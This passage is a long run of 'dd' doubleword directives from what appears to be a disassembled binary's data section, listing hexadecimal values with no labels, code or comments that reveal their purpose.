		dd 633EE75Bh, 4A089FABh, 89DCD243h, 0C72DDB72h,	0C4074B0h
		dd 6EEB60ABh, 0D9C2F030h, 3DC18C48h, 353983E4h,	0D846F2B8h
		dd 0EE1820h, 5C4D27D1h,	251C48B5h, 1162A10Eh, 2C57C0B3h
		dd 3B5E37h, 0E85C136Dh,	4810358Ah, 0C3FC2B8h, 5BD183BAh
		dd 0B51C57F4h, 0BFA32280h, 48F22494h, 0F3223057h, 0F13B8979h
		dd 8B1300E8h, 5B45DB05h, 5F09024h, 38507BF9h, 6226C3E9h
		dd 3560B4DAh, 2B059714h, 486F3917h, 0E85BD783h,	328230Eh
		dd 0F981C5CBh, 1A052238h, 0F20AE9D2h, 70933C8h,	18F1EA46h
		dd 0D9012BDCh, 0F1561527h, 1316F04Bh, 0B5372100h, 3A7930C4h
		dd 12B21F2Ah, 0F41A682h, 88C3436Eh, 5DFBF210h, 7A94F998h
		dd 0FF421B8h, 0EA13DDF8h, 800073AFh, 0EB16110Dh, 4E2B3EBCh
		dd 490BA6CCh, 0CC03A513h, 0B8F05EC4h, 0F300F0A0h, 6D40703Eh
		dd 7B64253h, 0FCDD6510h, 0CAEB7091h, 69053314h,	9809A25Bh
		dd 56CB6B80h, 0A4D7CE7h, 10A02B2Eh, 0CFC04E1h, 2D68C8A6h
		dd 0C7CC2C00h, 0EC1B0960h, 5AA01273h, 1F8F01A1h, 0E47A2EB7h
		dd 8FFC5D16h, 0EC56682Ch, 8447521Fh, 0FC20DE64h, 6490A8D3h
		dd 1FA1224Bh, 0B89D979Fh, 0A774ABC7h, 490EC491h, 5A1E60BDh
		dd 2B25439Ch, 9C0C7CDh,	6D1FED19h, 0C2006A3Ah, 4034B81Eh
		dd 8D130F0Dh, 71E35C89h, 1E3FEAA1h, 63108351h, 0D81F97DFh
		dd 0FAED8F0Ah, 1E080059h, 0B2669634h, 2861A83Ah, 0ED4B0D7Bh
		dd 44A64C4h, 0CE2970FEh, 167CD085h, 0E0EDFCEEh,	0B9071C09h
		dd 5AD09F7Bh, 347480BBh
		dd 0F84FA1FEh, 43610708h, 0E08DF1E0h, 91AA683Fh, 79015C79h
		dd 5108C1B7h, 0BDF46A7Bh, 6F183ACCh, 389D8680h,	9FEEF2A6h
		dd 0A1FEAAE2h, 10C6B900h, 4F76436Fh, 7D26E871h,	0AA3E3EEFh
		dd 0E7BA1E00h, 86AD6F3Ch, 0F00BB900h, 34B5EF69h, 6D2D00BDh
		dd 0D9965E1h, 6E01E4E9h, 0A0A84B3Dh, 0DE60EF49h, 137FCA4h
		dd 521B102Ch, 214F9E7Bh, 3C59F812h, 0FC8CE9E7h,	4008006h
		dd 0FAE287F0h, 0E2D0D6BAh, 0D38900E9h, 84B2A36Eh, 8F00F033h
		dd 0BB31C413h, 881438h,	0A58552C0h, 7C428CC5h, 7C6BF048h
		dd 87E28024h, 52F74400h, 922282Dh, 0F049B3A8h, 0E2B7B103h
		dd 0C1A78CD0h, 7B09C5B0h, 8F7E2Ah, 8834ACCDh, 5C85F665h
		dd 14007990h, 430DFCF1h, 0A21F9EBCh, 64C49C21h,	0E3C0040Ch
		dd 0FC44173Fh, 860904B6h, 806FD3E9h, 8F899906h,	1336F100h
		dd 65E39327h, 0EF0248FCh, 0FE7B5400h, 0C624D4A6h, 0D913F116h
		dd 3837BD00h, 0D4189h, 5F096F7Bh, 687E5A99h, 800006B8h
		dd 428FF21Ch, 0F5DD255h, 4A259A9Ch, 0E991C743h,	0D07E3580h
		dd 9EEE3403h, 0C72FD433h, 9F5B96F0h, 0D1F001C1h, 10B26E7Fh
		dd 38B7F0A9h, 0E4A8C200h, 64891555h, 2B7114h, 2051D7F6h
		dd 0D35A2C08h, 6FA0CE2Eh, 41A9F307h, 0ED155E0h,	0ACD93B4Ch
		dd 8B0F4B3Eh, 80A15061h, 6592D243h, 0BE8DF32h, 3CFA082Bh
		dd 0C5E52D0Fh, 5E34A787h, 21062090h, 7EF34CCCh,	48030800h
		dd 0F8F2AED4h, 94D79F00h, 2B12D63Fh, 88A91DD2h,	0F44240B8h
		dd 56080CC8h, 0F172D307h, 606F50FAh, 46BAD6A5h,	0E6550012h
		dd 23AB5FACh, 0B00C42Ch, 2EF49D04h, 0A43C30h, 0CE034C7Fh
		dd 0C941062h, 9F508800h, 12D71114h, 0F2570089h,	54521F1Dh
		dd 3307E3A5h, 190ACAA3h, 12504AE0h, 3A580991h, 0F802108h
		dd 47E4A542h, 97487E01h, 0F08C638Eh, 70282E81h,	0F4EA0658h
		dd 0C4008312h, 849CBD1Ch, 70FE14B8h, 51530030h,	0B31FC89h
		dd 3D0083C9h, 646D43Ch,	177D04h, 868A164Eh, 7536EDE0h
		dd 3890F00h, 41AEC383h,	67F93D8Fh, 0F81FEB85h, 0A593802Fh
		dd 0F0001312h, 5A76D0BFh, 95FA80h, 431CAE52h, 0E0D933F4h
		dd 1C80600h, 0ABCAD1C0h, 0D750024h, 184EC636h, 27001653h
		dd 6C38FFECh, 7C82FEB8h, 8A13005Dh, 0EA704A48h,	0D726812h
		dd 5900A2EAh, 42CE4DB6h, 3050CE6h, 1CDA0849h, 20D85B14h
		dd 76002734h, 402D4258h, 0C1F041h, 3905E624h, 5312EF97h
		dd 0FB005DECh, 4945D733h, 15C940Fh, 810834B0h, 0F025BFC6h
		dd 24000901h, 28007F2h,	1EE231h, 0D6D3E30Bh, 32A221E6h
		dd 907C4A00h, 0B833F934h, 0F86A1E42h, 0C910170h, 6FDE1A9Fh
		dd 16E06E00h, 28E7EDh, 0FB5230F3h, 8DBC6B2Eh, 0AA77DE0Fh
		dd 10476068h, 3956CE2Ah, 1F764D5h, 9A531EE7h, 6011F121h
		dd 6A0434A5h, 543AA074h, 0A18E4BC1h, 42F3C8h, 1E0FE368h
		dd 84F2E8B2h, 38FA3000h, 9C2351FBh, 321100AAh, 8E501847h
		dd 0E1EEA1F1h, 4A8F0700h, 46D6FCCEh, 20BC001Ch,	6FCCFB87h
		dd 0D51E28C8h, 23002C90h, 34435E30h, 8D3800FCh,	0B21A3CF9h
		dd 64001F40h, 48C86B44h, 244C917Fh, 9223BFh, 55AD5442h
		dd 0C60372F8h, 0CFA0B58h, 0AA5A98A5h, 0E5C800F6h, 6F32255Ch
		dd 84B853F8h, 6029BE03h, 0F0F6A92Eh, 4C96F0AAh,	363F7FC2h
		dd 0F9E2F483h, 68C8BE4Eh, 0F000522Eh, 598D6CE8h, 0B70F70h
		dd 7890DD28h, 58877CFBh, 0BF24B401h, 0F3A7CCF2h, 726A21ECh
		dd 5DF60384h, 1C8862B2h, 0F4D3F9E9h, 0CA3E8C72h, 0BE32BEFCh
		dd 0FFA58090h, 0A21B94D1h, 44350098h, 0A0887A9Ch, 0A40310D5h
		dd 11425FBAh, 0F7DCC8E9h, 84670E92h, 0FD40A835h, 0AB05487Bh
		dd 7DDF5D12h, 0E8CC00AFh, 3B0CDBF5h, 2DAC4400h,	6FE60B27h
		dd 331F0BEh, 1CDD2E72h,	0F1A887B0h, 0EF00AE5Dh,	60B5412Ah
		dd 3CF059C6h, 280047FBh, 0CB1B4D72h, 0A84803DCh, 0A4E9036Eh
		dd 0F004255Fh, 316B8ECh, 0F6542191h, 0BCB185DDh, 0DCB771ABh
		dd 7F01C0C8h, 0E4DE4F88h, 48F7AC4h, 1DA032F1h, 1660C5E2h
		dd 0ACCC431Dh, 81DE42CFh, 3788D5D0h, 3FD43280h,	72DF70C4h
		dd 623DD800h, 0DC19F29Bh, 0E6F1010Eh, 0E0210B61h, 0D003CDD6h
		dd 6A00E464h, 77DF58C4h, 1FF63FA2h, 8091621Fh, 0B11EEC39h
		dd 0C58F3BCh, 7780BCAh,	0F4870063h, 2C4ABAh, 886F883h
		dd 0CA62C1D6h, 0FC957703h, 0F08BD235h, 1D0105E7h, 0C3A33174h
		dd 3994DAEDh, 575DD797h, 2EA5C208h, 10CCBE0h, 10C46B1Dh
		dd 14C83F02h, 0AA34C0F5h, 0FC1C0221h, 0C6E92046h, 828F584h
		dd 0FE30002Ch, 46743423h, 3CA83800h, 1A40518Fh,	35441FA2h
		dd 0B4098F12h, 0BB7374E0h, 0DE005020h, 11C2FB0Dh, 5B5458h
		dd 2C7B1BEBh, 48C481D8h, 2879BD00h, 7FC8FCCBh, 8B1C09CCh
		dd 0DDD402h, 803FB9B4h,	88FC31h, 86E0B54h, 0EA7585C1h
		dd 0D16AFE00h, 24483266h, 0E27F00E7h, 15FF02ECh, 42756338h
		dd 741F1A7Ah, 840111DCh, 0E4BAC766h, 1E90ECh, 0FF5014E3h
		dd 0C1E0166Fh, 3205C000h, 49420902h, 7DF60075h,	0F1FF1B0Eh
		dd 0C01F8330h, 0D2C00A80h, 0E3672674h, 21230054h, 0DB310353h
		dd 302F1A8Ah, 16DD4C3h,	332F6225h, 0AF1870FBh, 5F5CC600h
		dd 305BEB29h, 82960136h, 7E908173h, 3B8ECE3h, 3C01AF98h
		dd 0C6BFC241h, 7DC06BCh, 9C70038h, 0CC5C105h, 1717E29h
		dd 87C0CC3Bh, 0CD410D80h, 7C10F60h, 0CE810ECFh,	0AC30E40h
		dd 0CB90CA87h, 11E0B80h, 9DDC0C9h, 0C84108C7h, 18F7D8F7h
		dd 0D9671947h, 0DBC11B00h, 0DA1C2881h, 21E67EBh, 0DF47DEh
		dd 0C0DD011Fh, 71881D5Ch, 1DC4138h, 81D4C114h, 15C040D5h
		dd 0C0D70001h, 41168017h, 0D2E4D678h, 13EC12E8h, 2D37000h
		dd 81D1C111h, 0E0400CD0h, 309AF05Fh, 0F141F5A0h, 0C13033E0h
		dd 40F28AF3h, 361E3932h, 0F738F63Ah, 0F5013702h, 340135C0h
		dd 3CC0F441h, 81FC10C1h, 13D04FDh, 2083C0FFh, 0FE8A393Eh
		dd 3A3BFA3Ah, 0FB703B00h, 0F9C13901h, 40F8810Eh, 8128CE38h
		dd 41E677D9h, 0EBC829FDh, 802B07C0h, 25EAE12Ah,	1F0FAEEEh
		dd 0C0EF0F2Fh, 0ED0BC12Dh, 78EC6381h, 24DBE456h, 41259A00h
		dd 12713E5h, 0E6810084h, 22C12640h, 0E10AF631h,	0E723E0E3h
		dd 21C0033Bh, 0D7412080h, 60F7A0D7h, 0A1D761B7h, 0EF0063E5h
		dd 40A281A3h, 97762h, 0A787A629h, 0A5016780h, 64DC6581h
		dd 0EA47041h, 81ACC16Ch, 6D40AD00h, 0C001AF01h,	6E1E806Fh
		dd 0AAD1AE41h, 6BE06AD9h, 0AB701Ch, 81A9C169h, 687040A8h
		dd 0B8027867h, 7900B947h, 14C0BB01h, 0AA7A807Bh, 0BEBFBA3Fh
		dd 7F0E7EBBh, 7D00BF70h, 0BC81BDC1h, 0DE7C4030h, 2674C0B4h
		dd 3BE17580h, 0B7CE7730h, 403BB681h, 87720E76h,	80B340B2h
		dd 81B10173h, 4170DC71h, 5010B070h, 910090C1h, 93015140h
		dd 528053C0h, 76927441h, 1C567896h, 1971C57h, 8195C155h
		dd 54CD4094h, 0C0019C01h, 415D805Ch, 5FE49D70h,	819F07C1h
		dd 615E409Eh, 0C89AE15Ah, 5B60E09Bh, 59C099BEh,	41581F80h
		dd 0DD88DF98h, 9F491D48h, 0CE4B9889h, 8A1D818Bh, 4E874A40h
		dd 8F208E87h, 40014F80h, 4CEE4D8Dh, 88C4138h, 0B84C144h
		dd 0B1814085h, 8747C087h, 864146CEh, 42678247h,	831C4380h
		dd 0C19C003Dh, 38EC6681h, 7C07A8DBh, 0E389520Fh, 9CFCE410h
		dd 0C158388Bh, 104359Dh, 899D505Dh, 0DFA03016h,	0C21E927Ch
		dd 204099B2h, 904210Ah
		dd 5F531D0Eh, 0A20FC0C8h, 36E0882Ch, 5B013B18h,	5ADC3Eh
		dd 0C8E36E59h, 410EA582h, 3446161Dh, 3E0EACD8h,	3EE42h
		dd 2FE83D73h, 0A32827FEh, 7EAFEA16h, 0BAD91Fh, 76D9C716h
		dd 31EC13h, 1422C3EEh, 0C80C2038h, 16EE8C98h, 0B3E41000h
		dd 0F4154CF0h, 30F64Bh,	0A101B247h, 0E8217061h,	6E1BBB1Eh
		dd 0D63A9680h, 63CF2Ch,	56FF3083h, 0AD0F4B04h, 6636E900h
		dd 0E828141Ah, 5E1E00EBh, 0D060EEC6h, 51005652h, 8EBAFC02h
		dd 9C3B24h, 4D17C877h, 30AC0B0Ch, 0F5B0C200h, 6738B82h
		dd 9A8C0060h, 0C1A707F3h, 7503C8FEh, 0C9094981h, 0DF6A9AD7h
		dd 647FF8E0h, 69D64400h, 0FF9C181Fh, 75500079h,	0EE10595Dh
		dd 0AC074514h, 2FA83D05h, 25447EF0h, 4F61015Eh,	0C86FF488h
		dd 0FC0680F8h, 1F75F24Dh, 0CCD000D5h, 3B67AC55h, 0A6007306h
		dd 16C60FFh, 0E6E82B70h, 467B00D0h, 570CF8C9h, 72075002h
		dd 8DB38615h, 6FE82730h, 0EA42588Fh, 65315700h,	0DB85D873h
		dd 110076FCh, 0D13BCC5Eh, 2ED25274h, 0E77D6h, 758D5713h
		dd 0EB0002AEh, 1904B998h, 95F95Fh, 6A7A1E46h, 0AE1F42B0h
		dd 3D01C978h, 47CB80DFh, 76D0A201h, 2516001Dh, 0C0FEB005h
		dd 8C0E5567h, 0C0AA9854h, 5A38CAE9h, 8B28031Dh,	0D3CCA396h
		dd 29A9B388h, 80EC0C39h, 1E202E6Dh, 0E8D5F8h, 99FFD271h
		dd 88B83B75h, 50EAC702h, 0E37E5FFEh, 42588802h,	0BD41006Ch
		dd 2A3D7145h, 200DEE2h,	23D6F7F3h, 275DF2h, 3920B22h, 767E1C6h
		dd 40C3D500h, 0C28104FFh, 0D7720095h, 0F8F1341Bh, 0AF00A438h
		dd 0D339D05Bh, 7F9475C1h, 4D2E0390h, 5C258908h,	71F246F0h
		dd 0A5F34B00h, 0CE398E91h, 112E00C1h, 82F7CAABh, 0C3008130h
		dd 65C9C455h, 0EF039F1h, 0CFF9BAB0h, 0F1E7DEC7h, 0D8D95616h
		dd 5071025h, 6F4AC15Ch,	3A144143h, 0F01EBACAh, 18A886F7h
		dd 0B33C4E82h, 1C0374A5h, 0AC25AE12h, 2063C72Eh, 0A4102005h
		dd 950F24EEh, 0FD299D71h, 0AB042800h, 0FF4B9689h, 0C89BEF71h
		dd 30B3718Fh, 10878021h, 52801E34h, 938013Ah, 97791257h
		dd 0F3C10E0h, 9472B84Ah, 0DE041DFDh, 8A6A0005h,	0FA9553F2h
		dd 448C64DEh, 1F22A618h, 8FA5F163h, 9C362F9h, 92072C11h
		dd 0A9F35C88h, 0E858FBD3h, 0C3E1840Eh, 2856901Ah, 0C3A4F8F0h
		dd 141EEB67h, 2305EAF3h, 47914EDAh, 40443C20h, 0CA106141h
		dd 86164839h, 524A1CEh,	6F315314h, 20C897Ah, 48202523h
		dd 0C3001CBCh, 0E9880534h, 43AD0677h, 4108A28Ch, 811C0D44h
		dd 2301206h, 0C901FF64h, 90E04D09h, 33F200F7h, 0F350F172h
		dd 84000469h, 0B22A2041h, 296EECh, 1263F04Ah, 0AAB0740Bh
		dd 0B9E1C91Fh, 6B002812h, 38201042h, 0D6591F95h, 0A1880336h
		dd 13B01757h, 0CA7EAC4Ah, 1003A2F0h, 0BF925509h, 0BAAAC1B4h
		dd 0AD3F90BBh, 2C2864FEh, 84A403A9h, 9D6A1F1Dh,	0BD70D95Ah
		dd 0C2D9093h, 18598832h, 90067D24h, 713F8CE3h, 3044802Bh
		dd 6625AB12h, 0C83CFE68h, 8905B4Bh, 0A5185020h,	4576D4C4h
		dd 0BCB0424h, 0C1F15ECAh, 708806A1h, 3A3D56ABh,	313F46h
		dd 165BF362h, 1E7F740Ah, 5F2FC8AAh, 0F08E80D9h,	110F5D42h
		dd 1C041433h, 0F2D4D324h, 5F9C808Dh, 63E61559h,	78189C92h
		dd 0D230CCAh, 8921BDAFh, 0E2F89502h, 12E6C304h,	0B8F9BCF7h
		dd 0EB51F0B4h, 0C43E2B7Fh, 25AA8C3Ch, 80184AE0h, 3488D544h
		dd 0CAA8204Ah, 7F2E148h, 57BEA22Ah, 54C221F9h, 0F1FC4AB3h
		dd 89B0C308h, 91FC5EA8h, 9E9D51E0h, 1804168h, 4A3CB06h
		dd 84E07A9h, 500C56E0h,	0F4B8745Dh, 430D6800h, 0D0388817h
		dd 7685EA14h, 0DCEE0044h, 0C91621C0h, 0FF7C4674h, 3EEA5E2Eh
		dd 1C1F700h, 741CD9Eh, 0D1048A49h, 300A7332h, 3BF90FC3h
		dd 3CE9E827h, 4002D907h, 66D00D18h, 74048B1Dh, 1E331C4Eh
		dd 80899F4Ah, 83A52E4Fh, 203E0C66h, 8A61808Eh, 0F2EB8F1Ch
		dd 0EE881E45h, 44470399h, 9CF0E169h, 483AA63Bh,	0A9218057h
		dd 0B0683CE4h, 647585h,	0B80A7320h, 55357469h, 0C305E901h
		dd 0B448F87Eh, 47CCEC40h, 0A95A00C5h, 9E159204h, 8B308D5Bh
		dd 123BB222h, 95D300BCh, 5083440Dh, 0FE03380Fh,	17045257h
		dd 8908A314h, 0F7F8F070h, 119A00CAh, 275C08Bh, 15392B94h
		dd 9E059CA9h, 0FE081380h, 749CB254h, 61800E1h, 2F23B459h
		dd 0FA03A25Ch, 6445A88Bh, 71C59088h, 804D01C3h,	8F26A69h
		dd 172DE4D3h, 5D277005h, 0F1ACBCB4h, 2B157300h,	0CBF956FBh
		dd 0A4E37A00h, 1C071B12h, 0DE98004Eh, 0C8EB722Ah, 7300CF26h
		dd 0D0AC795Eh, 0F7D51A2h, 1AA42BDBh, 19582163h,	60E4D7D1h
		dd 17039156h, 4FA9A276h, 0F85FC30Bh, 788AE7Eh, 0D1BE5355h
		dd 1BEC80E8h, 5E005B2Fh, 0E2F77208h, 1E5FDC8h, 5181AD1Fh
		dd 6132B9C6h, 0F18CC8C0h, 36F02200h, 0D01931BBh, 0F56D0EF8h
		dd 50C18624h, 0E4F49A52h, 5600F203h, 9636641h, 1D4B9085h
		dd 9DBFFB83h, 948F00ACh, 0FA71EA55h, 0F0F27A00h, 7B9B1028h
		dd 14030F3Bh, 0AE611872h, 0CC51B375h, 1002372Ch, 0F3F0344Fh
		dd 0FEE340A6h, 89F400E3h, 2EBF804h, 0C800C031h,	0BF841090h
		dd 0C970F1h, 3C7FB12Bh,	1A961130h, 41D24124h, 3DA5C100h
		dd 7F349455h, 36640043h, 0F7C90F4h, 1AFC54B6h, 4B0E9490h
		dd 0C0F9D101h, 7C5D81C7h, 4CD701E2h, 8DF42F65h,	0DFCBFCFEh
		dd 0D54F850Fh, 0EB4BC0FFh, 1EB8B657h, 80C69D6Bh, 0F4A74D1Dh
		dd 91005ADCh, 580BC98Ah, 7402320h, 151AD042h, 3DEB6013h
		dd 1B04E57Ch, 8D78384Ah, 54704D87h, 70486443h, 0EAD13F07h
		dd 7CD28580h, 0B58AFA12h, 750B7800h, 881E1C01h,	0E800318h
		dd 4A02C083h, 91EF51E0h, 60BD3A03h, 0D04BFCC8h,	3D49B13h
		dd 6A2AC22h, 8DB1FDB4h,	0DA8BE4C0h, 0F41246EEh,	0DF013926h
		dd 30A58559h, 0C428C1EFh, 98C017D8h, 8E02007Ch,	6854A118h
		dd 0AC9083F6h, 85000F79h, 9541015Fh, 39FD3B0h, 1913CC45h
		dd 0A2900D66h, 4207D55Ch, 1A6CFD9Dh, 68D103F0h,	0C0322E24h
		dd 0C7C500EFh, 1F1EB5FFh, 1764DB00h, 5A8C5452h,	0E5A400A8h
		dd 34FB1056h, 0D7008209h, 85890147h, 7598ABCh, 2F06BD83h
		dd 91590FEh, 8B005184h,	1CEEAA41h, 803108h, 9FA6C721h
		dd 7C86C2FFh, 9715C800h, 0B80D55F9h, 2FB90070h,	3E64B5E2h
		dd 20048D0h, 27DC14B2h,	44B820h, 50143D4h, 0B566281Bh
		dd 830F3D05h, 0C1BE1CC6h, 8E431330h, 0A03C6BC4h, 50887281h
		dd 1F2F010Ch, 3916F76Ah, 8C8F878h, 39A0200h, 80B96019h
		dd 0C1FE00E2h, 0CAB1DFE7h, 440099A0h, 35062005h, 3C3438Dh
		dd 48777EB8h, 2C991F68h, 80CD4A5h, 40D05900h, 0D250C653h
		dd 0FD8A3AE7h, 0F6BF2780h, 0E0B41B4h, 0E1230101h, 151DC384h
		dd 7CF88F8h, 0B1E9EDA4h, 810FF9EEh, 0D77C6880h,	0E8001748h
		dd 0FD19E1F2h, 1560A1Dh, 463576DAh, 0DC2A5420h,	250310B2h
		dd 7475F8Bh, 0F156E06Ah, 3AC07788h, 7FBD14Ah, 956EEB62h
		dd 9D8B50CEh, 83184787h, 14D010F0h, 0D4D63C97h,	0B0FE880h
		dd 53D23E01h, 8A71CD00h, 0B78E13B9h, 26100027h,	164AAB95h
		dd 63EED84Eh, 0EC835707h, 89D1673Dh, 0B5609940h, 0F27B0009h
		dd 8435D337h, 49008FAEh, 0EC5EDD2Fh, 2130879h, 982E8B5Ch
		dd 0A5606353h, 0CC03A869h, 28853AF3h, 435AE020h, 724000B8h
		dd 58E14BECh, 0E244D2Ch, 56004441h, 5357AED6h, 0D83900FAh
		dd 68518376h
		dd 0CA00AD3Eh, 1E15587Dh, 23AC3h, 0A0149574h, 637C0CACh
		dd 0F0444007h, 805973BFh, 114BD920h, 0EFE3A69h,	552D098Eh
		dd 78FF3C3Eh, 23725C21h, 9A0AFF0Eh, 0EB50DA40h,	591FB525h
		dd 6F00794Ah, 50CE8EDh,	7112F675h, 784D00F8h, 7CA85DF0h
		dd 1F1345E1h, 260E7D0Eh, 4254C04Ch, 0EA9768h, 5DEEE456h
		dd 523CA546h, 4CC75700h, 8DF3C959h, 0BBF60054h,	40E06BBAh
		dd 0BF0B3CD5h, 0B59F9Ah, 44CE4653h, 6BF300B7h, 0A2EEF47Bh
		dd 2400D23Ch, 705C9D64h, 42C0B4h, 0E4534AFEh, 8D6DD0AAh
		dd 0D700C8FCh, 9772EF0Dh, 8FE8C3h, 98E0138h, 2C03C766h
		dd 43C2830Fh, 7F084106h, 3AD08107h, 0CCB00F0h, 0E2EACBFh
		dd 2014510h, 2D4C6A30h,	0B09FC32Bh, 132C0732h, 121CF018h
		dd 11C1D08h, 80B91E80h,	8B0EC020h, 31473h, 0EE930C69h
		dd 0F29FEDAh, 2C6EE000h, 8C046865h, 43C43EB5h, 20748680h
		dd 80401C93h, 758D3803h, 0F9601317h, 2870A203h,	53620B72h
		dd 0CC80C214h, 55B39296h, 4A00DB79h, 541825BCh,	852120h
		dd 0A542F4ADh, 0DE973E16h, 3441331Fh, 2B1A8179h, 85240F4Ch
		dd 1D453E9h, 0C9E7A06Fh, 0C2C40709h, 0D021E365h, 0FACF4F94h
		dd 127113Ch, 0BD47B85Bh, 0EC85422h, 4CBE00B0h, 6303E179h
		dd 443D6C61h, 65768072h, 0EC749530h, 3A430E50h,	75A0CCB4h
		dd 6C118721h, 1D7CA13Bh, 9C80890Ah, 0C58B730h, 87D4009Fh
		dd 0DB45C6E1h, 100009BFh, 404D8D43h, 50DA1463h,	0D9B45Ch
		dd 74C3FB3Ah, 0E9870CBEh, 0F1044F98h, 63DE9515h, 0CCC0F2C7h
		dd 75804CFEh, 755A00F3h, 0E7F9DF5Fh, 550025DDh,	450F43Bh
		dd 1F84F335h, 336F42h, 9F90E82Eh, 0CC00E446h, 0DC09E03Fh
		dd 1F41F1h, 17122211h, 870D072Bh, 0AF0F8000h, 9CADC75h
		dd 0B8A02E0h, 3EF708BAh, 0EC55D660h, 0CA6C51Eh,	89F8F3CAh
		dd 0D9B47C01h, 50E46E53h, 232A0208h, 28877141h,	3B83FC80h
		dd 76B8D12Eh, 0E10A300h, 0DD114178h, 0B66E0003h, 72040C28h
		dd 8A7B1812h, 3A3901F2h, 0E758250h, 41020742h, 78E95303h
		dd 1CCBC4h, 522249FFh, 85BABE45h, 0A2315D00h, 0A36F5853h
		dd 0FFC50F11h, 88E0C733h, 5A65372Bh, 0FE2A8200h, 0C0B70F02h
		dd 0F84D0067h, 9A72F9B5h, 8F076D17h, 0E78BAAFDh, 2ABF0370h
		dd 311600CFh, 58633F23h, 6DF6D761h, 0FC55C000h,	8D95FA2Ch
		dd 91BD072Ah, 0B0EA4C39h, 5F0B4D93h, 1D7D8F00h,	909C1FBCh
		dd 0AEAD0141h, 0C55880D6h, 70182023h, 1DCCA13Bh, 5280880Ah
		dd 0EC2CA7D4h, 54A3022Dh, 29B63D8Dh, 0A51A0560h, 0EB97E48h
		dd 0E0F3CB9Ch, 440C2A20h, 5089077Ch, 51100DD1h,	61E91977h
		dd 0A6C3202Fh, 1500E8F4h, 28799020h, 2D058Bh, 1CDB313Fh
		dd 0DAC043C1h, 74D80100h, 0E31DD112h, 0C0E0072h, 0F61485E1h
		dd 0E42CC8FCh, 7300CBDAh, 785152F2h, 0FB600023h, 0C131A00Dh
		dd 20E14E1h, 54B98Dh, 0AEF3FD4Fh, 790B8FCh, 1CA483ACh
		dd 0E9ABA204h, 70816641h, 4717BA62h, 0C50040A7h, 27A09184h
		dd 24F50774h, 0F8FA80h,	0FC1390Dh, 920060FEh, 1D495057h
		dd 8CFE89h, 0EE475DDBh,	159862B8h, 81268D7Dh, 1612E344h
		dd 0AE80841Fh, 1418F51Bh, 42933A84h, 0BB00753Bh, 7378E5A7h
		dd 2300A56Ah, 3E797769h, 8D760Ah, 56423514h, 0F429DBB2h
		dd 5C0038EEh, 0EA72A5EBh, 0E2D14B0h, 39FC5A61h,	905C7C0h
		dd 93E47648h, 458C3C00h, 94BAEC3Eh, 75F500C5h, 9198548Bh
		dd 0C10074B1h, 3A77EF56h, 0A9D319h, 0EBE2BB0Dh,	4910434Fh
		dd 0DD07901Fh, 75623000h, 26961Bh, 0E9855BA5h, 103D154Ch
		dd 0A316A80Fh, 0B9A9E7A7h, 147D8BD0h, 5FB60028h, 8F805E5Bh
		dd 173936E9h, 95380C9h,	480F34C3h, 4CAE4C41h, 7794050Ch
		dd 830011BCh, 0C958F631h, 0D9B81Ch, 240A7EFFh, 0F70545B5h
		dd 0C201E300h, 0DF8DD284h, 35460E1Ch, 89800615h, 40E3E2D7h
		dd 14012A07h, 3C203B11h, 1E4199F0h, 0C08944BEh,	1525F7FEh
		dd 0C3006978h, 3519010h, 0B823A905h, 495A038Eh,	7180A5C8h
		dd 790407E0h, 93893200h, 46B0095Ch, 82DC1FE2h, 0A314C084h
		dd 0BA1C1318h, 97920400h, 0E8BF6793h, 0CCA006Fh, 0B2FF9415h
		dd 3D008BC5h, 0D43B060Eh, 7D485Ch, 82B13E2Ch, 1A72D939h
		dd 8D6C9000h, 9149E534h, 3C75DDh, 0A47DA6F8h, 460FA712h
		dd 0E1541A00h, 7C8848A5h, 77190094h, 4CEFEA99h,	0FF073534h
		dd 4D21832h, 0A8C35B40h, 0AA4A3D3Eh, 0DDF43080h, 0F640616Eh
		dd 0FA81F800h, 4BBF4F0Ah, 878A00D1h, 0FDA68846h, 0F62E410Ch
		dd 0BB0EF43Dh, 27902023h, 3AF8F06Ah, 190096F9h,	0D5D20A0Ch
		dd 100E954h, 0D3445E9Fh, 0D8EE02h, 9B750852h, 48711CDDh
		dd 2AC31000h, 3B558F8h,	33C812A0h, 8FF05DBh, 57A9019Fh
		dd 0FC2DE241h, 0C174D0D2h, 8A49C200h, 8EF83BCAh, 73200FBh
		dd 87D5355Ah, 9D0088F1h, 0C8D0E44Ch, 184351C1h,	66085D3Bh
		dd 42001D40h, 0EFD6934Eh, 1F90ABDCh, 40106A12h,	3075448Dh
		dd 0AC09B93Fh, 9109B5h,	0F5EF123Eh, 8BF61EC4h, 0DD807E06h
		dd 0BE11F9ECh, 0CA2C4128h, 803FF28Dh, 0E0EB4AD6h, 5BF782h
		dd 0F8C7448Ch, 0D0FB5FEFh, 4A8A330Fh, 95F58013h, 3FF0DA2h
		dd 0F72765C5h, 56D0B614h, 85395917h, 0CB4800EAh, 0D947EBCh
		dd 158A0582h, 81615E4Ch, 0F00F1032h, 35170BC3h,	700F3C5h
		dd 0E37F02BAh, 0B1E40074h, 0C8F26FA9h, 9C00A892h, 0F385E83Eh
		dd 127B81h, 8B414C87h, 0D03D1880h, 0D6732600h, 830FDFA7h
		dd 124300E5h, 60890C24h, 0DF901A90h, 59EF1000h,	5D88A03h
		dd 352900CBh, 0BA37DCD2h, 7200DAC1h, 22124E1Fh,	1772110h
		dd 0C6F7690Dh, 402BACCEh, 0CB2519B0h, 1F947500h, 0DD1802F3h
		dd 5E1D0064h, 913BA40h,	0E800CEFAh, 0F535AE4Ah,	53CCA9h
		dd 0D9D24EFFh, 897F4801h, 16C90A07h, 64C158FCh,	0E6600E19h
		dd 2833B32h, 3E92042Ch,	3B66A080h, 7127506h, 76C98500h
		dd 45BE8B20h, 0EEFC2C5Dh, 814000Bh, 21612EBh, 0C00017Ah
		dd 0D400EC0h, 355449h, 41CE751Bh, 8289AC08h, 0EAA4F800h
		dd 4790C362h, 142D00DCh, 3EE091FBh, 1500EE21h, 0EC2906C0h
		dd 0F01F84h, 1DC8BD4Ch,	0FC485FB9h, 0EFE06B02h,	0F58E412Dh
		dd 344F9B40h, 0D029EDF5h, 0C50079B7h, 4ACCBD43h, 4FB67h
		dd 0A0380C4h, 8B87558Dh, 351DD77Dh, 49001EB5h, 1AB940C6h
		dd 19FA00C4h, 1624DEC0h, 0B100DF77h, 9B7A8528h,	70CAA1Dh
		dd 899E2099h, 1A7FB0FBh, 24008E01h, 7027CA11h, 0FCDFF045h
		dd 320D0598h, 802EE2E9h, 9B89110Fh, 50003E71h, 25F5E86Fh
		dd 1A6DC9h, 2DAF884Ah, 0BD830685h, 9847E40Fh, 0EB2BA108h
